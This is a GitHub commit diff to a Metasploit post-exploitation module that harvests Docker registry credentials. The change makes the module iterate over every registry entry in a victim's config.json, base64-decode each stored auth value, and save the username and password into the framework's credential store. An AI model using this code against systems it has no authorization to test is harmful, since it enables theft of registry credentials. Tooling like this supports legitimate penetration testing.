Skip to content

Commit abaf80f

Browse files
committed
jmartin improvements (iter on keys + save as credentials)
1 parent adbeab8 commit abaf80f

File tree

1 file changed

+27
-8
lines changed

1 file changed

+27
-8
lines changed

modules/post/multi/gather/docker_creds.rb

Lines changed: 27 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -57,15 +57,34 @@ def download_loot(paths)
5757
def extract(target)
5858
file = read_file(target)
5959
parsed = JSON.parse(file)
60-
if parsed["auths"] && parsed["auths"]["https://index.docker.io/v1/"]
61-
creds = parsed["auths"]["https://index.docker.io/v1/"]["auth"]
60+
if parsed["auths"]
61+
parsed["auths"].each do |key, value|
62+
vprint_status("key: #{key}")
63+
value.each do |k,v|
64+
if k == "auth"
65+
plain = Rex::Text.decode_base64(v)
66+
if plain.include? ":"
6267

63-
if creds.length > 0
64-
plain = Rex::Text.decode_base64(creds)
65-
print_good("Found #{plain}")
66-
loot_path = store_loot("docker.credentials", "text/plain", session, plain,
67-
"config.json", "Docker credentials from #{target}")
68-
print_good("Saved credentials to #{loot_path}")
68+
print_good("Found #{plain}")
69+
username, password = plain.split(':')
70+
credential_data = {
71+
origin_type: :import,
72+
module_fullname: self.fullname,
73+
filename: target,
74+
workspace_id: myworkspace_id,
75+
service_name: 'docker',
76+
realm_value: key,
77+
realm_key: Metasploit::Model::Realm::Key::WILDCARD,
78+
private_type: :password,
79+
private_data: password,
80+
username: username
81+
}
82+
create_credential(credential_data)
83+
84+
print_good("Saved credentials")
85+
end
86+
end
87+
end
6988
end
7089
else
7190
print_status("No credentials found in config file")

0 commit comments

Comments
 (0)